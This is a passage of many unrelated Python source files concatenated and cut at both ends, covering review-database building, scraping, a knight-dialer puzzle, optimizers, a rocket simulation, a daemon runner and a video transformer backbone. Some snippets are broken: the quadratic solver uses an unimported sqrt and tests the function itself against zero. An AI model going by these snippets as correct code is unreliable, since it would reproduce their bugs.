category, "contents": contents, "review_ids": review_ids, "ratings": ratings, "review_ending_sentence": review_ending_sentence, "scraped_pages": [], "num_reviews": num_reviews, "ft_senIdx": ft_senIdx, "ft_score": ft_score } db_product_collection.update(query, {"$set": update_field}, True) def upsert_all_reviews_bulk(review_file_path, meta_dict): """Based on the fact that a product's review is consecutive, this function bulk upsert all the reviews for one product""" reviewParser = parse(review_file_path) client, db = connect_to_db() db_product_collection = db.product_collection db_product_collection.create_index([("product_id", ASCENDING)]) i=0 num_found = 0 print "building product_collection in database" product_id = "a" for review in reviewParser: i += 1 if i % 1000 ==0: print i #new data: product_id_new = review['asin'] contents_new = getSentencesFromReview(review['reviewText']) num_sentence = len(contents_new) review_id_new = review['reviewerID'] rating_new = review['overall'] # If the product id is the same, then just concatenate the field if product_id_new == product_id: contents = contents + contents_new review_ids.append(review_id_new) ratings.append(rating_new) review_ending_sentence.append(num_sentence + review_ending_sentence[-1]) num_reviews += 1 # If encountering new product: save previous product, and initialize the product variables elif product_id_new != product_id: if i > 1: upsert_new_product(db_product_collection, product_id, product_name, category, contents, review_ids, ratings, review_ending_sentence, num_reviews, ft_senIdx, ft_score) product_id = product_id_new product_name = [] category = [] if product_id in meta_dict: product = meta_dict[product_id] if 'product_name' in product: product_name = product['product_name'] if 'category' in product: category = product['category'] contents = contents_new review_ids = [] ratings = [] review_ending_sentence = [] review_ids.append(review_id_new) ratings.append(rating_new) review_ending_sentence.append(num_sentence) num_reviews = 1 ft_score = {} ft_senIdx = {} client.close() def calculate_ft_dict_for_all_products(predictor_name): predictor = loadTrainedPredictor() client, db = connect_to_db() db_product_collection = db.product_collection cursor = db_product_collection.find() i=0 for product in cursor: i+=1 product_id = product['product_id'] prod_contents = product['contents'] prod_ft_score_dict, prod_ft_senIdx_dict = get_ft_dicts_from_contents(prod_contents, predictor) query = {"product_id": product_id} update_field = { "ft_score": prod_ft_score_dict, "ft_senIdx": prod_ft_senIdx_dict } db_product_collection.update(query, {"$set": update_field}, True) if i%10 == 0: print i client.close() def statisitcs(): import numpy as np client, db = connect_to_db() db_product_collection = db.product_collection cursor = db_product_collection.find() i=0 total_sentence_num = 0 total_review_num = 0 num_review_list =[] num_sentence_list = [] for product in cursor: i+=1 num_review= product['num_reviews'] num_sentence=product['review_ending_sentence'][-1] num_review_list.append(num_review) num_sentence_list.append(num_sentence) total_review_num += num_review total_sentence_num += num_sentence client.close() hist, binedge = np.histogram(num_sentence_list, np.max(num_sentence_list)) print hist, binedge print total_sentence_num print np.sum(num_sentence_list) # for item in hist: # print item # for item in binedge: # print item # import matplotlib.pyplot as plt # fig = plt.figure() # fig.suptitle('histogram: number of reviews per product') # ax = fig.add_subplot(111) # ax.hist(num_review_list, bins=30) # ax.set_xlabel('number of reviews per product') # plt.show() def main(): Electronics_Review_Path = '../../Datasets/Full_Reviews/reviews_Electronics.json.gz' Electronics_Meta_Path = '../../Datasets/Full_Reviews/meta_Electronics.json.gz' category_name = [] predictor_name = 'Word2Vec' #Construct the meta_dict that stores product information that belongs to "category_name" meta_dict = construct_metadata_dict(Electronics_Meta_Path, category_name) #Add all reviews to product_collection that belongs to "category_name" upsert_all_reviews_bulk(Electronics_Review_Path, meta_dict) #Calculate the ft_dict for all products: # calculate_ft_dict_for_all_products(predictor_name) if __name__ == '__main__': # main() airport_data/wiki-scraper.py0 ''' py -3 -m venv .venv .venv\scripts\activate ''' import requests from bs4 import BeautifulSoup links = [ "https://en.wikipedia.org/wiki/Hartsfield%E2%80%93Jackson_Atlanta_International_Airport" "https://en.wikipedia.org/wiki/Los_Angeles" ] for l in links: response = requests.get( url=l, ) soup = BeautifulSoup(response.content, 'html.parser') title = soup.find(id="firstHeading") content = soup.find(id="mw-content-text") table = content.table.tbody.find_all('tr') for tr in table: if tr.th and tr.th.string == " • Total": print(title.string, " population ", tr.td.a.string) # print(table) python/txt/problema4.py import math a, b, c = str(input()).split() a = float(a) b = float(b) c = float(c) delta = lambda a, b, c: (b**2) - 4*a*c bhaskara = lambda a, b, c: ((-b + sqrt(delta(a,b,c)))/(2 * a), (-b - sqrt(delta(a,b,c)))/(2 * a)) if delta(a,b,c) > 0 else ((-b + sqrt(delta(a,b,c)))/(2 * a), None) if delta == 0 else (None, None) print(bhaskara(a,b,c)) 1-10 ''' Test the utils ''' import tsqa.utils unittest = tsqa.utils.import_unittest() class TestUtils(unittest.TestCase): def test_merge_dicts(self): ''' These dicts should be merged in order, meaning latter ones will override earlier ones. ''' self.assertEqual(tsqa.utils.merge_dicts({'a': 1}, {'a': 2}), {'a': 2}) self.assertEqual(tsqa.utils.merge_dicts({'a': 1}, {'b': 2}), {'a': 1, 'b': 2}) def test_configure_list(self): ''' Test that we can convert a dict to a list of configure strings ''' self.assertEqual(tsqa.utils.configure_list({'a': 'b', 'c': None}), ['--a=b', '--c']) def test_configure_string_to_dict(self): ''' Can we reverse it? ''' self.assertEqual(tsqa.utils.configure_string_to_dict('--a'), {'a': None}) self.assertEqual(tsqa.utils.configure_string_to_dict('--a=b'), {'a': 'b'}) self.assertEqual(tsqa.utils.configure_string_to_dict('--a=b --c'), {'a': 'b', 'c': None}) """ From Medium post "Google Interview Questions Deconstructed: The Knight’s Dialer" by : https://hackernoon.com/google-interview-questions-deconstructed-the-knights-dialer-f780d516f029 Imagine you place a knight chess piece on a phone dial pad. This chess piece moves in an uppercase “L” shape: two steps horizontally followed by one vertically, or one step horizontally then two vertically. For example, from the 1, the knight can move to the 6 or the 8: 1* 2 3 4 5 6* 7 8* 9 0 Suppose you dial keys on the keypad using only hops a knight can make. Every time the knight lands on a key, we dial that key and make another hop. The starting position counts as being dialed. How many distinct numbers can you dial in N hops from a particular starting position? """ legal_moves = {1:[6,8], 2:[7,9], 3:[4,8], 4:[3,9,0], 5:[], 6:[1,7,0], 7:[2,6], 8:[1,3], 9:[2,4], 0:[4,6]} def knight_dialer_count_recursive(start, n): """ Recursively counts the number of distinct numbers that can be dialed in n hops of a knight from a particular starting position. Complexity: Runtime is O(3^n) (and Omega(2^n) if start!=5) because for each move you recursively check 2 or 3 subsequent moves, and you do this n-1 times: 3*3*3*...*3. This counts the total number of recursive calls, which gives the time complexity. The space complexity should be O(n) because the maximum depth of recursion is n. """ if n <0: return 0 if n==0: return 1 if n==1: return len(legal_moves[start]) return sum(knight_dialer_count_recursive(move, n-1) for move in legal_moves[start]) def knight_dialer_count_memoized(start, n, memo={}): """ Recursively counts the number of distinct numbers that can be dialed in n hops of a knight from a particular starting position. Complexity: Now if start!=5, there are 9*n tuples: (1,n),(2,n),...,(0,n),(1,n-1),(2,n-1),...,(0,n-1),...,(1,1),(2,1),...,(0,1) This is the maximum possible size of the memo, so the space complexity is still O(n), though on the order of 10 times as large as the non-memoized version. Once the memo is filled in, it takes constant time to look up the 2 or 3 values needed to compute the sum for the final answer. So the time complexity is the time needed to fill in the memo, which is O(n) since that's its maximum size. Trace calls for (start,n) = (1,4): (1,4) -> [(6,3),(8,3)] -> [6:(1,2),(7,2),(0,2);8:(1,2),(3,2)] -> [1:(6,1)=3,(8,1)=2;7:(2,1)=2,(9,1)=2;0:(4,1)=3,@(6,1)=3;@(1,2)=5;3:@(4,1)=3,(8,1)=2] """ if (start,n) in memo: pass #skip to the end and return memo[(start,n)] elif n<0: return 0 elif n==0: return 1 elif n==1: memo[(start,n)] = len(legal_moves[start]) else: memo[(start,n)] = sum(knight_dialer_count_memoized(move, n-1) for move in legal_moves[start]) return memo[(start,n)] from pathlib import Path from setuptools import setup, find_packages metadata_path = Path(__file__).parent / 'src' / 'opensignals' / '__about__.py' metadata = {} with metadata_path.open() as file: raw_code = file.read() exec(raw_code, metadata) metadata = {key.strip('_'): value for key, value in metadata.items()} metadata['name'] = metadata.pop('package_name') setup( long_description=open('README.md').read(), long_description_content_type='text/markdown', url='https://github.com/councilofelders/opensignals', project_urls={ 'Bug Tracker': 'https://github.com/councilofelders/opensignals/issues', }, packages=find_packages('src'), package_dir={'': 'src'}, py_modules=[path.stem for path in Path('src').glob('*.py')], python_requires='>=3.7', zip_safe=True, include_package_data=True, install_requires=[ 'docopt>=0.6.2', 'pandas>=1.2.2', 'numpy>=1.20.1', 'pyarrow>=3.0.0', 'requests', 'tqdm', ], extras_require=dict( test=[ 'pytest==5.1.2', 'pytest-cov==2.7.1', 'pytest-flake8==1.0.6', 'pytest-mypy==0.4.0', 'pydocstyle==4.0.1', 'pep8-naming==0.8.1', 'pytest-docstyle==2.0.0', 'flake8 == 3.8.1', ], ), entry_points={ 'console_scripts': [ 'opensignals = opensignals.__main__:main', ] }, **metadata, classifiers=[ 'License :: OSI Approved :: Apache Software License', 'Development Status :: 3 - Alpha', # 'Development Status :: 4 - Beta', # 'Development Status :: 5 - Production/Stable', 'Operating System :: OS Independent', 'Intended Audience :: Developers', 'Topic :: Office/Business :: Financial', 'Topic :: Office/Business :: Financial :: Investment', 'Topic :: Scientific/Engineering :: Interface Engine/Protocol Translator', 'Topic :: Software Development :: Libraries', 'Topic :: Software Development :: Libraries :: Python Modules', 'Programming Language :: Python :: 3', ], ) 1-10 import pathlib import click from roo.parsers.rproject import RProject, Dependency from roo.semver import VersionRange @click.command( name="add", help="Add the most recent package to the rproject.toml") @click.option("--category", help=( "Install the deps of the specified category. " "Can be provided multiple times."), type=click.Choice(RProject.ALL_DEPENDENCY_CATEGORIES), default="main" ) @click.argument("package", type=click.STRING) def add(category: str, package: str): try: rproject = RProject.parse(pathlib.Path(".") / "rproject.toml") except IOError: raise click.ClickException( "Unable to open rproject.toml in current directory" ) rproject.dependencies.append( Dependency( name=package, constraint=VersionRange(), category=category, vcs_spec=None ) ) rproject.save() # -*- coding: utf-8 -*- """ Created on Sun Apr 14 12:59:56 2019 @author: FOBOS """ import math as ms dt=0.001 class rocket: def __init__(self,mass,fuel,coordinates, speeds,speed_fuel=3660): self.mass=mass self.fuel=fuel self.coordinates=coordinates self.speeds=speeds self.speed_fuel=speed_fuel def __str__(self): return "Status of the rocket now is:"+str(self.mass)+", "+str(self.fuel)+", "+str(self.coordinates)+", "+str(self.speeds) class moon_orbit_rocket(rocket): def delta_eiler_method(self,alpha,mu,t): u0,u1=self.speeds[0],self.speeds[1] r,phi=self.coordinates[0],self.coordinates[1] m=self.mass mt=self.fuel for j in range(int(t/dt)): a1=(mu*self.speed_fuel)*ms.cos(alpha)/m-1.62+r*(u1**2) a2=((mu*self.speed_fuel)*ms.sin(alpha)/m-2*u0*u1)/r if ms.sqrt(a1**2+a2**2)>29.43: print('your pilot is dead') break du0=(a1)*dt du1=(a2)*dt dphi=u1*dt+(du1*dt)/2 dr=u0*dt+(du0*dt)/2 phi+=dphi r+=dr u0+=du0 u1+=du1 m+=-mu*dt mt+=-mu*dt return m,mt,[r,phi],[u0,u1] #count the system's dynemic with eiler method of solving equations below(polar system of coordinates) #Fr/m-g =r'' − r(ϕ')^2 #Ft/m = rϕ'' + 2 r'ϕ' #turning speed is infinite Petia=moon_orbit_rocket(6200,4000,[1738000,0],[0,0]) while True: alpha,mu,t=map(float,input('Alpha mu t (500 0 0 to interapte)').split()) if alpha==500: break alpha=alpha*3.14/180 a,b,c,d=Petia.delta_eiler_method(alpha,mu,t) Petia.mass,Petia.fuel,Petia.coordinates,Petia.speeds=a,b,c,d print(Petia) # Based on- https://github.com/audreyfeldroy/cookiecutter-pypackage/blob/master/hooks/pre_gen_project.py import re import sys MODULE_REGEX = r'^[_a-zA-Z][_a-zA-Z0-9]+$' module_name = '{{ cookiecutter.project_name}}' if not re.match(MODULE_REGEX, module_name): print('ERROR: The project name (%s) is not a valid Python module name. Please do not use a - and use _ instead' % module_name) #Exit to cancel project sys.exit(1) class SGD: def __init__(self, lr, schedule): self.lr = lr self.schedule = schedule def step(self, w, grad, batch_size): self.lr = self.lr * self.schedule return w - grad * self.lr / batch_size class SGDwMomentum: def __init__(self, lr, schedule, momentum): self.schedule = schedule self.momentum = momentum self.vt = 0 self.lr = lr def step(self, w, grad, batch_size): self.lr = self.lr * self.schedule self.vt = self.vt * self.momentum + self.lr * grad / batch_size return w - self.vt class NAG: def __init__(self, lr, schedule, momentum): self.schedule = schedule self.momentum = momentum self.vt = 0 self.lr = lr def step(self, w, grad, batch_size): self.lr = self.lr * self.schedule w = w + self.vt * self.lr * self.momentum self.vt = self.vt * self.momentum + grad / batch_size w = w - self.vt * self.lr return w - self.vt * self.lr * self.momentum kteavery/BirdRoostLocation0 """Load in variables that are user specific and consistently references. This repository's scrips will read and save files to a given directory. Set a working directory where all these files will be saved. BirdRoostLocation/MLData is the default however any location can be chosen. All radar files, image files, model files, and data csv files will be saved in this directory. Mose of the scrips in this repository will will assume this folder is the working directory and all paths can be relative to this directory. Set file paths in the settings.json file. """ import json import os import matplotlib from typing import Dict, Any real_path: str = os.path.realpath(__file__) setting_path: str = os.path.join(os.path.dirname(real_path), "settings.json") data: Dict[str, Any] = json.load(open(setting_path)) WORKING_DIRECTORY: str = str(data["cwd"]) LABEL_CSV: str = str(data["label_csv"]) PREDICTION_CSV: str = str(data["prediction_csv"]) UPDATE_LABEL_CSV: str = str(data["update_label_csv"]) SUBSET_CSV: str = str(data["subset_files_csv"]) ML_SPLITS_DATA: str = str(data["ml_splits_csv"]) NEXRAD_CSV: str = str(data["nexrad_csv"]) DEFAULT_BATCH_SIZE: int = 1 if bool(data["schooner"]): print("schooner") matplotlib.use("agg") # Required for running on schooner from git import Repo from pydrive.auth import GoogleAuth from pydrive.drive import GoogleDrive import os from time import sleep def git_push(): path_to_repo = r"D:\Physionet Challenge\GitHub\pnet2019\.git" commit_message = "Added pickle of the model of GridSearch." try: repo = Repo(path_to_repo) repo.git.add(A=True) repo.index.commit(commit_message) origin = repo.remote(name='origin') origin.push() print("Git Worked!") except: print('Git did not work...') def git_push_v2(): try: path_to_repo = r"D:\Physionet Challenge\GitHub\pnet2019\.git" commit_message = "Put results in a folder and fixed the type of a file that had no type" repo = Repo(path_to_repo) git_ = repo.git git_.add(A=True) git_.commit(m=commit_message) git_.push() print("Git Worked!") except: print("This version of git didn't work... (This one could only work if the previous didn't.)") def send_to_drive(): try: g_login = GoogleAuth() g_login.LocalWebserverAuth() drive = GoogleDrive(g_login) with open(r"D:\Physionet Challenge\GitHub\pnet2019\Rui\grid_search_object.p","r") as file: file_drive = drive.CreateFile({'grid_search_object.p':os.path.basename(file.name) }) file_drive.SetContentFile(file.read()) file_drive.Upload() print("Drive Worked!") except: print('Drive did not work...') time_sleep = 3600 * 2 while "grid_search_object.p" not in os.listdir(r"D:\Physionet Challenge\GitHub\pnet2019\Rui"): print("Let me sleep...") sleep(time_sleep) git_push() git_push_v2 send_to_drive() print("It's all over!") import os results_dict = {"PASS": 1, "FAIL": 0} class PassFailed(): def __init__(self, cov_folder): self.pass_failed_dict = self.read_pass_failed_data(cov_folder) self.number_of_failed = 0 self.number_of_pass = 0 self.failed_tests = self.read_failed_tests(cov_folder) self.passed_tests = self.read_passed_tests(cov_folder) def read_pass_failed_data(self, cov_folder): pass_failed_dict={} for r, d, f in os.walk(cov_folder): for file in f: if file.endswith(".trc"): test_name = file.split("-")[0] result = results_dict[file.split("-")[1].split(".")[0]] pass_failed_dict[test_name] = result return pass_failed_dict def read_passed_tests(self, cov_folder): passed_tests = list() for r, d, f in os.walk(cov_folder): for file in f: if file.endswith(".trc"): test_name = file.split("-")[0] result = results_dict[file.split("-")[1].split(".")[0]] if result == 1 and test_name not in passed_tests: passed_tests.append(test_name) return passed_tests def read_failed_tests(self, cov_folder): failed_tests = list() for r, d, f in os.walk(cov_folder): for file in f: if file.endswith(".trc"): test_name = file.split("-")[0] result = results_dict[file.split("-")[1].split(".")[0]] if result == 0 and test_name not in failed_tests: failed_tests.append(test_name) return failed_tests def set_number_of_tests(self): self.calc_number_of_failed() self.calc_number_of_pass() def calc_number_of_failed(self): for test, res in self.pass_failed_dict.items(): if int(res) == int(0): self.number_of_failed += 1 def calc_number_of_pass(self): for test, res in self.pass_failed_dict.items(): if int(res) == int(1): self.number_of_pass += 1 def covered_failed_tests(self, covered_tests): failed = 0 for test in covered_tests: if self.pass_failed_dict[test] == int(0): failed += 1 return failed def covered_passed_tests(self, covered_tests): passed = 0 for teszt in covered_tests: if self.pass_failed_dict[teszt] == int(1): passed += 1 return passed class CalculateSubtractionScoreService: def __init__(self, value=0, const=1.0): self.value = value self.constant = const def call(self): if self.value > self.constant: return 0 return self.constant - self.value import sys import os from daemon import runner ## EnvironmentEmulationRunner # # The extension of python-daemon.runner for additional actions class EnvironmentEmulationRunner(runner.DaemonRunner): ## constructor # @param The daemon application def __init__(self, app): runner.DaemonRunner.__init__(self, app) ## status messages self.__status = {"active": "active (running)", "fail": "failed", "inactive": "inactive (dead)"} # add runner.DaemonRunner.files_preserve if app has files_preserve if hasattr(app, "files_preserve"): self.daemon_context.files_preserve = app.files_preserve ## additional argument parsing # @param self The object pointer def parse_args(self): runner.DaemonRunner.parse_args(self) # when action is "start", check if the 3rd argument is a file if self.action == "start": if len(sys.argv) != 3: self._usage_exit(sys.argv) if not os.path.isfile(sys.argv[2]): message = u"The 3rd argument (" + sys.argv[2] + ") is not a file.\n" runner.emit_message(message) self._usage_exit(sys.argv) ## additional usage # @param self The object pointer # @param argv The arguments def _usage_exit(self, argv): try: runner.DaemonRunner._usage_exit(self, argv) # add usage message before sys.exit except SystemExit: message = u"\n" message += u"options:\n" message += u" env.file\tWhen the action is start, the argument represents the environment definition file name.\n" message += u" server\tWhen the action is reload, the argument represents the server name to reload." runner.emit_message(message) raise ## display status # @param self The object pointer def _status(self): # the service is not running if not self.pidfile.is_locked(): status = "inactive" # the service is failed to start elif runner.is_pidfile_stale(self.pidfile): status = "fail" # the service is running else: status = "active" # display the status print " Active:", self.__status[status] print " Main PID:", self.pidfile.read_pid() # display the application specific status when service is running if status == "active": print "" print " App Specific:", self.app.getStatus() ## reload environment emulation element # @param self The object pointer def _reload(self): # the service is running if self.pidfile.is_locked() and not runner.is_pidfile_stale(self.pidfile): self.app.reload() # the service is not running else: raise RuntimeError("The service is not normally running.") # add enable actions runner.DaemonRunner.action_funcs[u"status"] = _status runner.DaemonRunner.action_funcs[u"reload"] = _reload from django.core.validators import MaxValueValidator from django.db import models from django.utils import timezone # Create your models here. from artists.models import Stili class UserArtwork(models.Model): author = models.CharField(max_length=100, default='unknown') title = models.CharField(max_length=100) year = models.IntegerField(validators=[MaxValueValidator(timezone.now().year)]) technique = models.CharField(default='unspecified', max_length=100) medium = models.CharField(default='unspecified', max_length=100) style = models.CharField(default='unspecified', max_length=100) genre = models.CharField(default='unspecified', max_length=100) source = models.CharField(default='None', max_length=300) choices = [] for stil in Stili.objects.all(): choices.append((stil.stil, stil.stil)) def __str__(self): return self.title def is_valid(self): pass ssm/simulation/sim_modules/detector.py from ssm.core.pchain import ProcessingModule import numpy as np from ssdaq.data._dataimpl.slowsignal_format import ss_mappings from ssm.star_cat import hipparcos class DetectorResponse(ProcessingModule): def __init__(self, calib, raw_response_key="raw_response"): super().__init__("DetectorResponse") self.calib = calib self.raw_response_key = raw_response_key def configure(self, config): # Computing inverse mapping for full camera self.mapping = np.empty((32, 64), dtype=np.uint64) invm = np.empty(64) for i, k in enumerate(ss_mappings.ssl2asic_ch): invm[k] = i for i in range(32): self.mapping[i, :] = invm + i * 64 self.mapping = self.mapping.flatten() self.gain_variance = np.random.normal(loc=1.0, scale=0.1) def run(self, frame): frame["response"] = self.gain_variance * self.calib.rate2mV( frame[self.raw_response_key][self.mapping] ) return frame paddlevideo/modeling/backbones/vit_tweaks.py # copyright (c) 2021 PaddlePaddle Authors. All Rights Reserve. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from collections.abc import Callable import numpy as np import paddle import paddle.nn as nn import paddle.nn.functional as F from paddle import ParamAttr from paddle.nn.initializer import Constant from paddle.regularizer import L2Decay from ...utils import load_ckpt from ..registry import BACKBONES from ..weight_init import trunc_normal_ __all__ = ['VisionTransformer_tweaks'] zeros_ = Constant(value=0.) ones_ = Constant(value=1.) def to_2tuple(x): return tuple([x] * 2) def rand_bbox(size, lam): """ rand_bbox """ w = size[2] h = size[3] cut_rat = np.sqrt(1. - lam) cut_w = np.int(w * cut_rat) cut_h = np.int(h * cut_rat) # uniform cx = np.random.randint(w) cy = np.random.randint(h) bbx1 = np.clip(cx - cut_w // 2, 0, w) bby1 = np.clip(cy - cut_h // 2, 0, h) bbx2 = np.clip(cx + cut_w // 2, 0, w) bby2 = np.clip(cy + cut_h // 2, 0, h) return bbx1, bby1, bbx2, bby2 def drop_path(x, drop_prob=0., training=False): """Drop paths (Stochastic Depth) per sample (when applied in main path of residual blocks). the original name is misleading as 'Drop Connect' is a different form of dropout in a separate paper... # issuecomment-532968956 ... See discussion: https://github.com/tensorflow/tpu/issues/494 """ if drop_prob == 0. or not training: return x keep_prob = paddle.to_tensor(1 - drop_prob) shape = (paddle.shape(x)[0], ) + (1, ) * (x.ndim - 1) random_tensor = keep_prob + paddle.rand(shape, dtype=x.dtype) random_tensor = paddle.floor(random_tensor) # binarize output = x.divide(keep_prob) * random_tensor return output class DropPath(nn.Layer): """Drop paths (Stochastic Depth) per sample (when applied in main path of residual blocks). """ def __init__(self, drop_prob=None): super(DropPath, self).__init__() self.drop_prob = drop_prob def forward(self, x): return drop_path(x, self.drop_prob, self.training) class Identity(nn.Layer): def __init__(self): super(Identity, self).__init__() def forward(self, input): return input class Mlp(nn.Layer): def __init__(self, in_features, hidden_features=None, out_features=None, act_layer=nn.GELU, drop=0., wd_bias=True, lr_mult=1.0): super().__init__() out_features = out_features or in_features hidden_features = hidden_features or in_features self.fc1 = nn.Linear(in_features, hidden_features) self.act = act_layer() self.fc2 = nn.Linear(hidden_features, out_features) self.drop = nn.Dropout(drop) def forward(self, x): x = self.fc1(x) x = self.act(x) x = self.drop(x) x = self.fc2(x) x = self.drop(x) return x class Attention(nn.Layer): def __init__(self, dim, num_heads=8, qkv_bias=False, qk_scale=None, attn_drop=0., proj_drop=0., wd_bias=True, lr_mult=1.0): super().__init__() self.num_heads = num_heads head_dim = dim // num_heads self.scale = qk_scale or head_dim**-0.5 self.qkv = nn.Linear(dim, dim * 3, bias_attr=qkv_bias) self.proj = nn.Linear(dim, dim) self.proj_drop = nn.Dropout(proj_drop) self.attn_drop = nn.Dropout(attn_drop) def forward(self, x): N, C = x.shape[1:] qkv = self.qkv(x).reshape( (-1, N, 3, self.num_heads, C // self.num_heads)).transpose( (2, 0, 3, 1, 4)) q, k, v = qkv[0], qkv[1], qkv[2] attn = (q.matmul(k.transpose((0, 1, 3, 2)))) * self.scale attn = nn.functional.softmax(attn, axis=-1) attn = self.attn_drop(attn) x = (attn.matmul(v)).transpose((0, 2, 1, 3)).reshape((-1, N, C)) x = self.proj(x) x = self.proj_drop(x) return x class Block(nn.Layer): def __init__(self, dim, num_heads, mlp_ratio=4.0, qkv_bias=False, qk_scale=None, drop=0.0, attn_drop=0.0, drop_path=0.1, act_layer=nn.GELU, norm_layer='nn.LayerNorm', epsilon=1e-5, attention_type='divided_space_time', wd_bias=True, lr_mult=1.0): super().__init__() self.attention_type = attention_type if isinstance(norm_layer, str): self.norm1 = eval(norm_layer)(dim, epsilon=epsilon) elif isinstance(norm_layer, Callable): self.norm1 = norm_layer(dim, epsilon=epsilon) else: raise TypeError( "The norm_layer must be str or paddle.nn.layer.Layer class") self.attn = Attention(dim, num_heads=num_heads, qkv_bias=qkv_bias, qk_scale=qk_scale, attn_drop=attn_drop, proj_drop=drop, wd_bias=wd_bias, lr_mult=lr_mult) # Temporal Attention Parameters if self.attention_type == 'divided_space_time': if isinstance(norm_layer, str): self.temporal_norm1 = eval(norm_layer)(dim, epsilon=epsilon) elif isinstance(norm_layer, Callable): self.temporal_norm1 = norm_layer(dim, epsilon=epsilon) else: raise TypeError( "The norm_layer must be str or paddle.nn.layer.Layer class") self.temporal_attn = Attention(dim, num_heads=num_heads, qkv_bias=qkv_bias, qk_scale=qk_scale, attn_drop=attn_drop, proj_drop=drop, wd_bias=wd_bias, lr_mult=lr_mult) self.temporal_fc = nn.Linear(dim, dim) # NOTE: drop path for stochastic depth, we shall see if this is better than dropout here self.drop_path = DropPath(drop_path) if drop_path > 0. else Identity() if isinstance(norm_layer, str): self.norm2 = eval(norm_layer)(dim, epsilon=epsilon) elif isinstance(norm_layer, Callable): self.norm2 = norm_layer(dim, epsilon=epsilon) else: raise TypeError( "The norm_layer must be str or paddle.nn.layer.Layer class") mlp_hidden_dim = int(dim * mlp_ratio) self.mlp = Mlp(in_features=dim, hidden_features=mlp_hidden_dim, act_layer=act_layer, drop=drop, wd_bias=wd_bias, lr_mult=lr_mult) def forward(self, x, B, T, W): num_spatial_tokens = (x.shape[1] - 1) // T H = num_spatial_tokens // W if self.attention_type in ['space_only', 'joint_space_time']: x = x + self.drop_path(self.attn(self.norm1(x))) x = x + self.drop_path(self.mlp(self.norm2(x))) return x elif self.attention_type == 'divided_space_time': ########## Temporal ########## xt = x[:, 1:, :] _, _, _, _t, _m = B, H, W, T, xt.shape[-1] xt = xt.reshape([-1, _t, _m]) res_temporal = self.drop_path( self.temporal_attn(self.temporal_norm1(xt))) _, _h, _w, _t, _m = B, H, W, T, res_temporal.shape[-1] res_temporal = res_temporal.reshape([-1, _h * _w * _t, _m]) res_temporal = self.temporal_fc(res_temporal) xt = x[:, 1:, :] + res_temporal ########## Spatial ########## init_cls_token = x[:, 0, :].unsqueeze(1) cls_token = init_cls_token.tile((1, T, 1)) _b, _t, _m = cls_token.shape cls_token = cls_token.reshape([-1, _m]).unsqueeze(1) xs = xt _, _h, _w, _t, _m = B, H, W, T, xs.shape[-1] xs = xs.reshape([-1, _h, _w, _t, _m]).transpose( (0, 3, 1, 2, 4)).reshape([-1, _h * _w, _m]) xs = paddle.concat((cls_token, xs), axis=1) res_spatial = self.drop_path(self.attn(self.norm1(xs))) # Taking care of CLS token cls_token = res_spatial[:, 0, :] _, _t, _m = B, T, cls_token.shape[-1] cls_token = cls_token.reshape([-1, _t, _m]) # averaging for every frame cls_token = paddle.mean(cls_token, axis=1, keepdim=True) res_spatial = res_spatial[:, 1:, :] _, _t, _h, _w, _m = B, T, H, W, res_spatial.shape[-1] res_spatial = res_spatial.reshape([-1, _t, _h, _w, _m]).transpose( (0, 2, 3, 1, 4)).reshape([-1, _h * _w * _t, _m]) res = res_spatial x = xt x = paddle.concat((init_cls_token, x), axis=1) + paddle.concat( (cls_token, res), axis=1) # Mlp x = x + self.drop_path(self.mlp(self.norm2(x))) return x else: raise NotImplementedError class PatchEmbed(nn.Layer): """ Image to Patch Embedding """ def __init__(self, img_size=224, patch_size=16, in_channels=3, embed_dim=768, wd_bias=True, lr_mult=1.0): super().__init__() img_size = to_2tuple(img_size) patch_size = to_2tuple(patch_size) num_patches = (img_size[1] // patch_size[1]) * (img_size[0] // patch_size[0]) self.img_size = img_size self.patch_size = patch_size self.num_patches = num_patches self.proj = nn.Conv2D(in_channels, embed_dim, kernel_size=patch_size, stride=patch_size) def forward(self, x): B, C, T, H, W = x.shape assert H == self.img_size[0] and W == self.img_size[1], \ f"Input image size ({H}*{W}) doesn't match model ({self.img_size[0]}*{self.img_size[1]})." x = x.transpose((0, 2, 1, 3, 4)) # [B,T,C,H,W] x = x.reshape([-1, C, H, W]) # [BT,C,H,W] x = self.proj(x) # [BT,F,nH,nW] W = x.shape[-1] x = x.flatten(2).transpose((0, 2, 1)) # [BT,F,nHnW] return x, T, W @BACKBONES.register() class VisionTransformer_tweaks(nn.Layer): """ Vision Transformer with support for patch input """ def __init__(self, pretrained=None, img_size=224, patch_size=16, in_channels=3, embed_dim=768, depth=12, num_heads=12, mlp_ratio=4, qkv_bias=False, qk_scale=None, drop_rate=0., attn_drop_rate=0., drop_path_rate=0.1, norm_layer='nn.LayerNorm', epsilon=1e-5, seg_num=8, attention_type='divided_space_time', wd_bias=True, lr_mult_list=[1.0, 1.0, 1.0, 1.0, 1.0], **args): super().__init__() self.pretrained = pretrained self.seg_num = seg_num self.attention_type = attention_type self.lr_mult_list = lr_mult_list self.num_features = self.embed_dim = embed_dim self.patch_embed = PatchEmbed(img_size=img_size, patch_size=patch_size, in_channels=in_channels, embed_dim=embed_dim, wd_bias=wd_bias, lr_mult=self.lr_mult_list[0]) num_patches = self.patch_embed.num_patches # Positional Embeddings self.cls_token = self.create_parameter( shape=(1, 1, embed_dim), default_initializer=zeros_, attr=ParamAttr(regularizer=L2Decay(0.0))) self.pos_embed = self.create_parameter( shape=(1, num_patches + 1, embed_dim), default_initializer=zeros_, attr=ParamAttr(regularizer=L2Decay(0.0))) self.pos_drop = nn.Dropout(p=drop_rate) if self.attention_type != 'space_only': self.time_embed = self.create_parameter( shape=(1, seg_num, embed_dim), default_initializer=zeros_, attr=ParamAttr(regularizer=L2Decay(0.0))) self.time_drop = nn.Dropout(p=drop_rate) self.add_parameter("pos_embed", self.pos_embed) self.add_parameter("cls_token", self.cls_token) dpr = np.linspace(0, drop_path_rate, depth) self.blocks = nn.LayerList([ Block(dim=embed_dim, num_heads=num_heads, mlp_ratio=mlp_ratio, qkv_bias=qkv_bias, qk_scale=qk_scale, drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[i], norm_layer=norm_layer, epsilon=epsilon, attention_type=self.attention_type, wd_bias=wd_bias, lr_mult=self.lr_mult_list[(i // 4) + 1]) for i in range(depth) ]) self.norm = eval(norm_layer)(embed_dim, 